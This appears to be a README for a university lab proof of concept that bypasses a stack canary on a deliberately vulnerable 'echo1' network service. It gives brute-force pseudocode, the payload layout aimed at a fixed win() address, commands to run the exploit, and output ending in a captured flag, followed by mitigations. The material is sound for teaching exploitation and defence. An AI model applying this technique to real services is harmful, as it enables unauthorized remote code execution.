Implemented a Python-based Proof-of-Concept for exploiting stack-based buffer overflow vulnerability in a Linux application leveraging stack canary protection.
A critical stack-based buffer overflow vulnerability exists in the target echo1 binary that allows remote attackers to execute arbitrary code by bypassing stack canary protection through a bruteforce attack. The vulnerability is exploitable due to the application's fork-and-run architecture, which maintains consistent canary values across child processes.
The application can be hosted and run in a containerized environment as well by using the following Docker image - sierraneu/canarynuid
- Severity: Critical
- CVSSv3 Score: 9.8 (Critical)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Affected Binary: echo1 (ELF 64-bit LSB)
- Vulnerability Type: Stack-based Buffer Overflow (CWE-121)
- Root Cause: Insufficient input validation in message handling routine
- Bypass Technique: Stack canary bruteforce via persistent memory layout
$ checksec --file=echo1
RELRO STACK CANARY NX PIE
Partial RELRO Canary found NX enabled No PIEProtections Identified:
- Stack Canary (SSP) - BYPASSED
- NX (Non-Executable Stack) - CIRCUMVENTED via ROP
- PIE (Position Independent Executable) - Not enabled
- ASLR - Irrelevant due to static function addresses
The echo1 application exhibits the following exploitable characteristics:
- Input Buffer Overflow: User-controlled input overflows into stack canary region at 56-byte boundary
- Fork-and-Run Architecture: Child processes inherit identical memory layout, maintaining consistent canary values
- Deterministic Response: Server returns "Request complete, Closing..." only when canary remains intact
- Static Function Addresses: The
win()function exists at fixed address0x40152f
The exploit operates in three distinct phases:
Incrementally send increasing payload sizes until server fails to respond (no "Request complete, Closing..." response), indicating canary corruption. The pseudocode below demonstrates the idealogy behind buffer size discovery.
Payload: 'A' * N (where N = 1, 2, 3, ... until no response)
Result: Buffer size = 56 bytes
Abuse fork-and-run behavior to bruteforce each canary byte independently. If the server runs a response post canary byte overwrite, it means the correct canary byte was guessed. The pseudocode below explains how it works.
For each byte position (0-7):
For each possible value (0x00-0xFF):
Send: buffer + known_canary_bytes + test_byte
If response received: canary_byte = test_byte
Complexity: 8 bytes × 256 values = ~2,048 attempts (worst case)
Time: ~6-7 minutes at 0.2s per attempt
Construct final payload to overwrite return address with win() function pointer.
Payload Structure:
[Buffer: 56 bytes] + [Canary: 8 bytes] + [SFP: 8 bytes] + [RET: 0x40152f]
Low Address
+------------------------+
| Buffer (56 bytes) | <- User input
+------------------------+
| Canary (8 bytes) | <- Stack protection
+------------------------+
| SFP (8 bytes) | <- Saved frame pointer
+------------------------+
| RET (8 bytes) | <- Return address (TARGET)
+------------------------+
High Address
# Install required dependencies
sudo apt-get update
sudo apt-get install python3 docker.io
# Pull vulnerable server
sudo docker pull sierraneu/canarynuid
sudo docker run -dit -p 9999:9999 --name echo1_server sierraneu/canarynuid# Clone repository
git clone https://github.com/pdoffl/CanaryTakeover.git
cd CanaryTakeover
# Run exploit
python3 CanaryTakeover-PoC.py <TARGET_IP> <TARGET_PORT>
# Example
python3 exploit-script.py 127.0.0.1 9999<----- Checking for 'echo1' server's reachability ----->
[*] Connection to the server succeeded. Proceeding with the exploit.
<----- Starting interaction to determine buffer length ----->
[+] BUFFER LENGTH FOUND: 56
<----- Initiating procedure to bruteforce canary value ----->
[+] Found byte #1 of canary: 0x0
[+] Found byte #2 of canary: 0xde
[+] Found byte #3 of canary: 0xce
[+] Found byte #4 of canary: 0xc3
[+] Found byte #5 of canary: 0x14
[+] Found byte #6 of canary: 0x4c
[+] Found byte #7 of canary: 0xf3
[+] Found byte #8 of canary: 0xd2
[+] Canary value identified: 0x0, 0xde, 0xce, 0xc3, 0x14, 0x4c, 0xf3, 0xd2
<----- Initiating procedure to overwrite return address ----->
[+] HERE'S THE FLAG:
FLAG{STACK_SMASHING_NOT_DETECTED_RayXd9GW}
Read the full report here to understand more about the Proof-of-Concept.
Critical - This vulnerability allows unauthenticated remote attackers to:
- Execute arbitrary code with server privileges
- Read sensitive files (flag.txt, configuration data)
- Establish persistent backdoor access
- Pivot to internal network segments
While this is an academic challenge, similar vulnerabilities have been observed in:
- IoT device management services
- Legacy network services with poor input validation
- Network Segmentation: Restrict access via firewall rules
- Monitoring: Deploy IDS signatures for canary bruteforce patterns
- Implement proper input validation: For instance, checking input size before passing it on to the next function.
// Implement proper input validation
#define MAX_INPUT_SIZE 50
ssize_t bytes_read = read(socket_fd, buffer, MAX_INPUT_SIZE);
if (bytes_read >= MAX_INPUT_SIZE) {
syslog(LOG_WARNING, "Input size exceeded, potential attack detected");
close(socket_fd);
exit(1);
}- Enable PIE/ASLR: Compile with
-fPIE -pieflags - Implement FORTIFY_SOURCE: Add
-D_FORTIFY_SOURCE=2during compilation - Use Safe Functions: Replace
gets(),strcpy()with bounds-checked alternatives - Add Length Checks: Validate all input against maximum buffer sizes
- Limit Fork Behavior: Implement request rate limiting and connection throttling
- Figure (Left): Using 'netcat' as a client to interact with the 'echo1' application
- Figure (Right): 'echo1' application's response
- Figure: Using the Python PoC against 'echo1' application deployed on a server
- Institution: Northeastern University
- Course: CY5130 (Computer Systems Security)
- Instructor: Dr. Jose Sierra
- Date: Spring 2024
Educational Purpose Only
This proof of concept is provided for educational and research purposes only. The author does not condone or encourage the use of this exploit against systems without explicit authorization.
Use at your own risk. The author assumes no liability for misuse of this information.
